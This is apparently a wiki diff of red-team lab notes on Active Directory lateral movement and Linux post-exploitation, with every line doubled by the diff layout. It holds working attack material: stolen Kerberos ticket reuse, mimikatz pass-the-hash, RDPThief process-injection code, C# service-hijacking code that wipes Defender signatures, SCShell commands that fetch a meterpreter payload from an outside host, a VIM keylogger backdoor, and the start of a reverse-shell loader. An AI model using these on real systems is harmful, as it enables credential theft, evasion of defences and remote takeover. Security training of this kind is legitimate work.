offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433 | offsec@linuxvictim:~$ kvno MSSQLSvc/DC01.corp1.com:1433 | ||
offsec@linuxvictim:~$ klist | offsec@linuxvictim:~$ klist | ||
MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2 | MSSQLSvc/DC01.corp1.com:1433@CORP1.COM: kvno = 2 | ||
... | ... | ||
renew until 08/06/2020 15:11:08 | renew until 08/06/2020 15:11:08 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Using Kerberos ticket locally === | === Using Kerberos ticket locally === | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Copy the victim's stolen ccache file to the Kali machine. | # Copy the victim's stolen ccache file to the Kali machine. | ||
kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow | kali@kali:~$ scp offsec@linuxvictim:/tmp/krb5cc_minenow /tmp/krb5cc_minenow | ||
# Set the KRB5CCNAME environment variable to use the victim's Kerberos tickets. | # Set the KRB5CCNAME environment variable to use the victim's Kerberos tickets. | ||
kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow | kali@kali:~$ export KRB5CCNAME=/tmp/krb5cc_minenow | ||
# These utilities help in performing ticket manipulation tasks. | # These utilities help in performing ticket manipulation tasks. | ||
kali@kali:~$ sudo apt install krb5-user | kali@kali:~$ sudo apt install krb5-user | ||
# Determine the IP address of the domain controller and configure the hosts file to recognize it. | # Determine the IP address of the domain controller and configure the hosts file to recognize it. | ||
offsec@linuxvictim:~$ host corp1.com | offsec@linuxvictim:~$ host corp1.com | ||
# Update the /etc/hosts file with domain controller details. | # Update the /etc/hosts file with domain controller details. | ||
# Set up Proxy for Kerberos Authentication: | # Set up Proxy for Kerberos Authentication: | ||
# The idea is to make it seem like the authentication requests are coming from the domain-joined host. | # The idea is to make it seem like the authentication requests are coming from the domain-joined host. | ||
| Line 3,599: | Line 2,622: | ||
# • Create a SOCKS server using SSH on the compromised server. | # • Create a SOCKS server using SSH on the compromised server. | ||
kali@kali:~$ ssh offsec@linuxvictim -D 9050 | kali@kali:~$ ssh offsec@linuxvictim -D 9050 | ||
# Get Users SPN | # Get Users SPN | ||
proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5 | proxychains python3 GetUserSPNs.py -k -no-pass -dc-ip 192.168.120.5 | ||
CORP1.COM/Administrator | CORP1.COM/Administrator | ||
# List all AD users from domain | # List all AD users from domain | ||
proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5 | proxychains python3 GetADUsers.py -all -k -no-pass -dc-ip 192.168.120.5 | ||
CORP1.COM/Administrator | CORP1.COM/Administrator | ||
# Use Impacket's psexec to get a shell. | # Use Impacket's psexec to get a shell. | ||
kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass | kali@kali:~$ proxychains python3 psexec.py Administrator@DC01.CORP1.COM -k -no-pass | ||
ProxyChains-3.1 ( http://proxychains.sf.net) | ProxyChains-3.1 ( http://proxychains.sf.net) | ||
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation | Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation | ||
| Line 3,630: | Line 2,649: | ||
nt authority\system | nt authority\system | ||
C:\Windows\system32> | C:\Windows\system32> | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Lateral Movement - Windows == | == Lateral Movement - Windows == | ||
=== RDP === | === RDP === | ||
* Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop). | * Pass the hash using mimikatz.exe and mstsc.exe (Remote desktop). | ||
* Require local administrator to dump the NTLM hashes | * Require local administrator to dump the NTLM hashes | ||
* Restricted Admin Mode allows RDP connections without saving credentials on the remote machine. | * Restricted Admin Mode allows RDP connections without saving credentials on the remote machine. | ||
It mitigates credential theft on the target system during the RDP session. | It mitigates credential theft on the target system during the RDP session. | ||
* The mode is disabled by default but can be enabled via a registry entry. | * The mode is disabled by default but can be enabled via a registry entry. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,658: | Line 2,668: | ||
mimikatz # sekurlsa::logonpasswords | mimikatz # sekurlsa::logonpasswords | ||
# If LSA protection is enabled, scroll a bit up to know how to disable it. | # If LSA protection is enabled, scroll a bit up to know how to disable it. | ||
# Once the hash is captured, pass it using the command. mstsc.exe window will popup. | # Once the hash is captured, pass it using the command. mstsc.exe window will popup. | ||
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin" | mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:"mstsc.exe /restrictedadmin" | ||
# If restricted admin is disabled, enable it by using powershell on target machine | # If restricted admin is disabled, enable it by using powershell on target machine | ||
mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell | mimikatz # sekurlsa::pth /user:admin /domain:corp1 /ntlm:2892D26CDF84D7A70E2EB3B9F05C425E /run:powershell | ||
# A Powershell window wil popup. | # A Powershell window wil popup. | ||
Enter-PSSession -Computer appsrv01 | Enter-PSSession -Computer appsrv01 | ||
# Enabled Restricted Admin mode | # Enabled Restricted Admin mode | ||
New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0 | New-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin -Value 0 | ||
# Disable RAM | # Disable RAM | ||
Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin | Remove-ItemProperty -Path "HKLM:\System\CurrentControlSet\Control\Lsa" -Name DisableRestrictedAdmin | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Reverse RDP Proxying with Metasploit ==== | ==== Reverse RDP Proxying with Metasploit ==== | ||
* Access machines protected by firewalls and NAT configurations via reverse proxying. | * Access machines protected by firewalls and NAT configurations via reverse proxying. | ||
'''Prerequisite:''' | '''Prerequisite:''' | ||
* Already have an established meterpreter session | * Already have an established meterpreter session | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
# Background current meterpreter shell | # Background current meterpreter shell | ||
background | background | ||
# Set Up Autoroute in Metasploit: | # Set Up Autoroute in Metasploit: | ||
msf5 exploit(multi/handler) > use multi/manage/autoroute | msf5 exploit(multi/handler) > use multi/manage/autoroute | ||
msf5 post(multi/manage/autoroute) > set session 1 | msf5 post(multi/manage/autoroute) > set session 1 | ||
msf5 post(multi/manage/autoroute) > exploit | msf5 post(multi/manage/autoroute) > exploit | ||
# Configure SOCKS Proxy: | # Configure SOCKS Proxy: | ||
msf5 post(multi/manage/autoroute) > use auxiliary/server/socks5 | msf5 post(multi/manage/autoroute) > use auxiliary/server/socks5 | ||
msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1 | msf5 auxiliary(server/socks4a) > set srvhost 127.0.0.1 | ||
msf5 auxiliary(server/socks4a) > exploit -j | msf5 auxiliary(server/socks4a) > exploit -j | ||
# Set Up Proxychains for Reverse Tunnel: | # Set Up Proxychains for Reverse Tunnel: | ||
# Add the SOCKS5 proxy IP and port to Proxychains config: | # Add the SOCKS5 proxy IP and port to Proxychains config: | ||
kali@kali:~$ sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf' | kali@kali:~$ sudo bash -c 'echo "socks5 127.0.0.1 1080" >> /etc/proxychains.conf' | ||
# Now you can RDP to target that is protected by edge firewall | # Now you can RDP to target that is protected by edge firewall | ||
kali@kali:~$ proxychains rdesktop 192.168.120.10 | kali@kali:~$ proxychains rdesktop 192.168.120.10 | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== SharpRDP.exe - Console rdp ==== | ==== SharpRDP.exe - Console rdp ==== | ||
[https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP] | [https://github.com/0xthirteen/SharpRDP https://github.com/0xthirteen/SharpRDP] | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 3,725: | Line 2,716: | ||
password=lab | password=lab | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== Steal RDP creds using RDPThief.dll ==== | ==== Steal RDP creds using RDPThief.dll ==== | ||
[https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.] | [https://github.com/0x09AL/RdpThief GitHub - 0x09AL/RdpThief: Extracting Clear Text Passwords from mstsc.exe using API Hooking.] | ||
* Build the rdpthief dll from above link. | * Build the rdpthief dll from above link. | ||
If detours is missing, use Nuget to uninstall and install it again. | If detours is missing, use Nuget to uninstall and install it again. | ||
* The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine. | * The code below will get the mstsc process and inject the rdpthief dll if anyone tries to RDP to another machine. | ||
* To see the captured credentials, check the output file: <code>C:\Users\<username>\AppData\Local\Temp\<session_ID>\data.bin</code>. | * To see the captured credentials, check the output file: <code>C:\Users\<username>\AppData\Local\Temp\<session_ID>\data.bin</code>. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
| Line 3,751: | Line 2,735: | ||
using System.Text; | using System.Text; | ||
using System.Threading; // Added this line for Thread.Sleep() | using System.Threading; // Added this line for Thread.Sleep() | ||
namespace Inject | namespace Inject | ||
{ | { | ||
| Line 3,758: | Line 2,741: | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId); | ||
[DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | [DllImport("kernel32.dll", SetLastError = true, ExactSpelling = true)] | ||
static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten); | ||
[DllImport("kernel32.dll")] | [DllImport("kernel32.dll")] | ||
static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); | ||
[DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] | [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)] | ||
static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | static extern IntPtr GetProcAddress(IntPtr hModule, string procName); | ||
[DllImport("kernel32.dll", CharSet = CharSet.Auto)] | [DllImport("kernel32.dll", CharSet = CharSet.Auto)] | ||
public static extern IntPtr GetModuleHandle(string lpModuleName); | public static extern IntPtr GetModuleHandle(string lpModuleName); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 3,799: | Line 2,776: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
=== Fileless Lateral Movement === | === Fileless Lateral Movement === | ||
Using fileless lateral movement will | Using fileless lateral movement will | ||
* Execute code without registering new service. | * Execute code without registering new service. | ||
* Avoid writing file to disk. | * Avoid writing file to disk. | ||
PSExec however will write to disk. At a highlevel: | PSExec however will write to disk. At a highlevel: | ||
* PsExec authenticates to SMB on the target host and accesses the DCE/RPC | * PsExec authenticates to SMB on the target host and accesses the DCE/RPC | ||
DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network. | DCE/RPC (Distributed Computing Environment / Remote Procedure Calls) is a protocol that supports remote procedure calls, which are used by processes to communicate with one another over a network. | ||
* PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host. | * PsExec will use this interface to access the service control manager, create a new service, and execute it. As part of the attack, the binary that is executed by the service is copied to the target host. | ||
Choose a service thats is not vital to the OS and is not used by default. Check service.msc. | Choose a service thats is not vital to the OS and is not used by default. Check service.msc. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
PsExec.exe -i -u domain\user cmd.exe | PsExec.exe -i -u domain\user cmd.exe | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* The user running the code below have the TGT for <code>cifs/appsrv01</code> in the memory. | * The user running the code below have the TGT for <code>cifs/appsrv01</code> in the memory. | ||
* The code will connect to target <code>appsrv01</code>, open the service <code>SensorService</code> and change it to open <code>notepad.exe</code>. | * The code will connect to target <code>appsrv01</code>, open the service <code>SensorService</code> and change it to open <code>notepad.exe</code>. | ||
* When <code>SensorService</code> is executed, <code>notepad.exe</code> will run as SYSTEM user. | * When <code>SensorService</code> is executed, <code>notepad.exe</code> will run as SYSTEM user. | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace PSLessExec | namespace PSLessExec | ||
{ | { | ||
| Line 3,853: | Line 2,815: | ||
public static uint SERVICE_DEMAND_START = 0x3; | public static uint SERVICE_DEMAND_START = 0x3; | ||
public static uint SERVICE_NO_CHANGE = 0xffffffff; | public static uint SERVICE_NO_CHANGE = 0xffffffff; | ||
[StructLayout(LayoutKind.Sequential)] | [StructLayout(LayoutKind.Sequential)] | ||
public class QUERY_SERVICE_CONFIG | public class QUERY_SERVICE_CONFIG | ||
| Line 3,876: | Line 2,837: | ||
public String lpDisplayName; | public String lpDisplayName; | ||
}; | }; | ||
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] | ||
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess); | public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess); | ||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] | ||
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess); | static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess); | ||
[DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] | [DllImport("advapi32.dll", CharSet = CharSet.Unicode, SetLastError = true)] | ||
public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded); | public static extern Boolean QueryServiceConfig(IntPtr hService, IntPtr intPtrQueryConfig, UInt32 cbBufSize, out UInt32 pcbBytesNeeded); | ||
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] | [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] | ||
[return: MarshalAs(UnmanagedType.Bool)] | [return: MarshalAs(UnmanagedType.Bool)] | ||
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName); | public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, uint dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName); | ||
[DllImport("advapi32", SetLastError = true)] | [DllImport("advapi32", SetLastError = true)] | ||
[return: MarshalAs(UnmanagedType.Bool)] | [return: MarshalAs(UnmanagedType.Bool)] | ||
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors); | public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors); | ||
public static void Main(string[] args) | public static void Main(string[] args) | ||
{ | { | ||
| Line 3,902: | Line 2,857: | ||
return; | return; | ||
} | } | ||
// Open remote SCManager | // Open remote SCManager | ||
IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS); | IntPtr SCMHandle = OpenSCManager(args[0], null, SC_MANAGER_ALL_ACCESS); | ||
Console.WriteLine($"Got handle on SCManager on {args[0]}: {SCMHandle}."); | Console.WriteLine($"Got handle on SCManager on {args[0]}: {SCMHandle}."); | ||
// Access target service | // Access target service | ||
IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS); | IntPtr schService = OpenService(SCMHandle, args[1], SERVICE_ALL_ACCESS); | ||
Console.WriteLine($"Got handle on target service {args[1]}: {schService}."); | Console.WriteLine($"Got handle on target service {args[1]}: {schService}."); | ||
// Get current binPath (two passes, first is to determine the buffer size needed) | // Get current binPath (two passes, first is to determine the buffer size needed) | ||
UInt32 dwBytesNeeded; | UInt32 dwBytesNeeded; | ||
| Line 3,919: | Line 2,871: | ||
Marshal.PtrToStructure(ptr, qsc); | Marshal.PtrToStructure(ptr, qsc); | ||
String binPathOrig = qsc.lpBinaryPathName; | String binPathOrig = qsc.lpBinaryPathName; | ||
// Pass 1: Disable Defender signatures | // Pass 1: Disable Defender signatures | ||
String defBypass = "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All"; | String defBypass = "\"C:\\Program Files\\Windows Defender\\MpCmdRun.exe\" -RemoveDefinitions -All"; | ||
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null); | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, defBypass, null, null, null, null, null, null); | ||
Console.WriteLine($"Overwrote service executable to become '{defBypass}', result: {bResult}."); | Console.WriteLine($"Overwrote service executable to become '{defBypass}', result: {bResult}."); | ||
// Run the service for Pass 1 | // Run the service for Pass 1 | ||
bResult = StartService(schService, 0, null); | bResult = StartService(schService, 0, null); | ||
Console.WriteLine("Launched service, defender signatures should be wiped."); | Console.WriteLine("Launched service, defender signatures should be wiped."); | ||
// Pass 2: Run the chosen binary | // Pass 2: Run the chosen binary | ||
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null); | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, args[2], null, null, null, null, null, null); | ||
Console.WriteLine($"Overwrote service executable to become '{args[2]}', result: {bResult}."); | Console.WriteLine($"Overwrote service executable to become '{args[2]}', result: {bResult}."); | ||
// Run the service for Pass 2 | // Run the service for Pass 2 | ||
bResult = StartService(schService, 0, null); | bResult = StartService(schService, 0, null); | ||
Console.WriteLine("Launched service. Check for execution!"); | Console.WriteLine("Launched service. Check for execution!"); | ||
// Pass 3: Restore original binPath | // Pass 3: Restore original binPath | ||
bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null); | bResult = ChangeServiceConfigA(schService, SERVICE_NO_CHANGE, SERVICE_DEMAND_START, 0, binPathOrig, null, null, null, null, null, null); | ||
| Line 3,944: | Line 2,891: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
<syntaxhighlight lang="csharp"> | <syntaxhighlight lang="csharp"> | ||
using System; | using System; | ||
using System.Runtime.InteropServices; | using System.Runtime.InteropServices; | ||
namespace lat | namespace lat | ||
{ | { | ||
| Line 3,957: | Line 2,902: | ||
[DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] | [DllImport("advapi32.dll", EntryPoint = "OpenSCManagerW", ExactSpelling = true, CharSet = CharSet.Unicode, SetLastError = true)] | ||
public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess); | public static extern IntPtr OpenSCManager(string machineName, string databaseName, uint dwAccess); | ||
// P/invoke for OpenService | // P/invoke for OpenService | ||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] | [DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Auto)] | ||
static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess); | static extern IntPtr OpenService(IntPtr hSCManager, string lpServiceName, uint dwDesiredAccess); | ||
// P/invoke for ChangeServiceConfig | // P/invoke for ChangeServiceConfig | ||
[DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] | [DllImport("advapi32.dll", EntryPoint = "ChangeServiceConfig")] | ||
[return: MarshalAs(UnmanagedType.Bool)] | [return: MarshalAs(UnmanagedType.Bool)] | ||
public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName); | public static extern bool ChangeServiceConfigA(IntPtr hService, uint dwServiceType, int dwStartType, int dwErrorControl, string lpBinaryPathName, string lpLoadOrderGroup, string lpdwTagId, string lpDependencies, string lpServiceStartName, string lpPassword, string lpDisplayName); | ||
// P/invoke for StartService | // P/invoke for StartService | ||
[DllImport("advapi32", SetLastError = true)] | [DllImport("advapi32", SetLastError = true)] | ||
[return: MarshalAs(UnmanagedType.Bool)] | [return: MarshalAs(UnmanagedType.Bool)] | ||
public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors); | public static extern bool StartService(IntPtr hService, int dwNumServiceArgs, string[] lpServiceArgVectors); | ||
static void Main(string[] args) | static void Main(string[] args) | ||
{ | { | ||
| Line 3,977: | Line 2,918: | ||
String target = "appsrv01"; | String target = "appsrv01"; | ||
IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F); | IntPtr SCMHandle = OpenSCManager(target, null, 0xF003F); | ||
// Code to call OpenService | // Code to call OpenService | ||
string ServiceName = "SensorService"; | string ServiceName = "SensorService"; | ||
IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF); | IntPtr schService = OpenService(SCMHandle, ServiceName, 0xF01FF); | ||
// Code to call ChangeServiceConfig | // Code to call ChangeServiceConfig | ||
string payload = "notepad.exe"; | string payload = "notepad.exe"; | ||
bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null); | bool bResult = ChangeServiceConfigA(schService, 0xffffffff, 3, 0, payload, null, null, null, null, null, null); | ||
// Code to call StartService | // Code to call StartService | ||
bResult = StartService(schService, 0, null); | bResult = StartService(schService, 0, null); | ||
| Line 3,992: | Line 2,930: | ||
} | } | ||
</syntaxhighlight> | </syntaxhighlight> | ||
[[File:2023-10-image-6.png|thumb]] | [[File:2023-10-image-6.png|thumb]] | ||
==== Trigger payload using fileless lateral movement ==== | ==== Trigger payload using fileless lateral movement ==== | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,004: | Line 2,939: | ||
# Copy payload to target | # Copy payload to target | ||
copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe | copy proc_hol.exe \\dc02\c$\windows\tasks\proc_hol.exe | ||
# Now trigger it with fileless lateral movement | # Now trigger it with fileless lateral movement | ||
Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe” | Lat.exe dc02 SensorService “C:\windows\tasks\proc_hol.exe” | ||
# You can also try to trigger the payload with psexec | # You can also try to trigger the payload with psexec | ||
.\psexec \\dc02 -d "C:\windows\tasks\proc_hol.exe" | .\psexec \\dc02 -d "C:\windows\tasks\proc_hol.exe" | ||
</syntaxhighlight> | </syntaxhighlight> | ||
==== ScShell ==== | ==== ScShell ==== | ||
[https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell] | [https://github.com/Mr-Un1k0d3r/SCShell https://github.com/Mr-Un1k0d3r/SCShell] | ||
"SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC." | "SCShell is a fileless lateral movement tool that relies on ChangeServiceConfigA to run commands. The beauty of this tool is that it does not perform authentication against SMB. Everything is performed over DCERPC." | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,026: | Line 2,955: | ||
python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e | python3 scshell.py corp1/dave@192.168.218.6 -service-name lfsvc -hashes :2892d26cdf84d7a70e2eb3b9f05c425e | ||
Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation | Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation | ||
[*] Command need to use FULL path. No command output. | [*] Command need to use FULL path. No command output. | ||
SCShell>C:\windows\system32\cmd.exe /c certutil -urlcache -split -f "http://192.168.45.162/bin.exe" C:\windows\tasks\bin.exe | SCShell>C:\windows\system32\cmd.exe /c certutil -urlcache -split -f "http://192.168.45.162/bin.exe" C:\windows\tasks\bin.exe | ||
# The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands. | # The command above will connect to target 192.168.218.6 and use the lfsvc to execute commands. | ||
# The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with | # The SCShell command will download meterpreter payload to windows\tasks and we can simply execute it with | ||
SVShell>C:\windows\tasks\bin.exe | SVShell>C:\windows\tasks\bin.exe | ||
# Usage for .exe | # Usage for .exe | ||
SCShell.exe target service payload domain username password | SCShell.exe target service payload domain username password | ||
# Example remote code exec | # Example remote code exec | ||
# I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path. | # I recommend using C:\windows\system32\cmd.exe /c to make sure to payload will not be killed once the service stop. You NEED to use the full path. | ||
SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password | SCShell.exe 192.168.197.131 XblAuthManager "C:\windows\system32\cmd.exe /c C:\windows\system32\regsvr32.exe /s /n /u /i://your.website/payload.sct scrobj.dll" . administrastor Password | ||
</syntaxhighlight> | </syntaxhighlight> | ||
== Linux Post Explotation == | == Linux Post Explotation == | ||
''' Stealthy VIM Backdoors''' | ''' Stealthy VIM Backdoors''' | ||
* Directly modifying <code> .vimrc</code> is not stealthy. | * Directly modifying <code> .vimrc</code> is not stealthy. | ||
* To source a shell script: <code>!source /path/to/script</code> | * To source a shell script: <code>!source /path/to/script</code> | ||
* To import another VIM config: <code>:source /path/to/vim-config </code> | * To import another VIM config: <code>:source /path/to/vim-config </code> | ||
* Stealthier approach: Use the <code>~/.vim/plugin </code> directory. VIM auto-loads all <code> .vim </code> files from this directory. | * Stealthier approach: Use the <code>~/.vim/plugin </code> directory. VIM auto-loads all <code> .vim </code> files from this directory. | ||
=== VIM Backdoor keylogger === | === VIM Backdoor keylogger === | ||
Leveraging VIM's <code>.vimrc</code> configuration files, it's possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM. | Leveraging VIM's <code>.vimrc</code> configuration files, it's possible to set up autocommands that trigger actions in VIM. One such use-case is creating a basic keylogger to monitor changes a user makes in a file via VIM. | ||
Insert this at the end of <code>vimrc</code>. | Insert this at the end of <code>vimrc</code>. | ||
<syntaxhighlight lang="bash"> | <syntaxhighlight lang="bash"> | ||
| Line 4,076: | Line 2,990: | ||
:endif | :endif | ||
</syntaxhighlight> | </syntaxhighlight> | ||
* BufWritePost : Trigger event after a buffer is written. | * BufWritePost : Trigger event after a buffer is written. | ||
* * : Action applies to all edited files. | * * : Action applies to all edited files. | ||
* :silent : Suppress debug output. | * :silent : Suppress debug output. | ||
* :w! : Forcefully save the buffer contents. | * :w! : Forcefully save the buffer contents. | ||
* >> /tmp/hackedfromvim.txt : Append content changes to the specified log file. | * >> /tmp/hackedfromvim.txt : Append content changes to the specified log file. | ||
=== Linux Shellcode Loader === | === Linux Shellcode Loader === | ||
==== Simple Shellcode Loader ==== | ==== Simple Shellcode Loader ==== | ||
<syntaxhighlight lang="c"> | <syntaxhighlight lang="c"> | ||
| Line 4,103: | Line 3,009: | ||
#include | #include | ||
#include | #include | ||
// To compile: | // To compile: | ||
// gcc -o simpleLoader simpleLoader.c -z execstack | // gcc -o simpleLoader simpleLoader.c -z execstack | ||
// XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa) | // XOR-encoded 'linux/x64/shell_reverse_tcp' payload (key: 0xfa) | ||
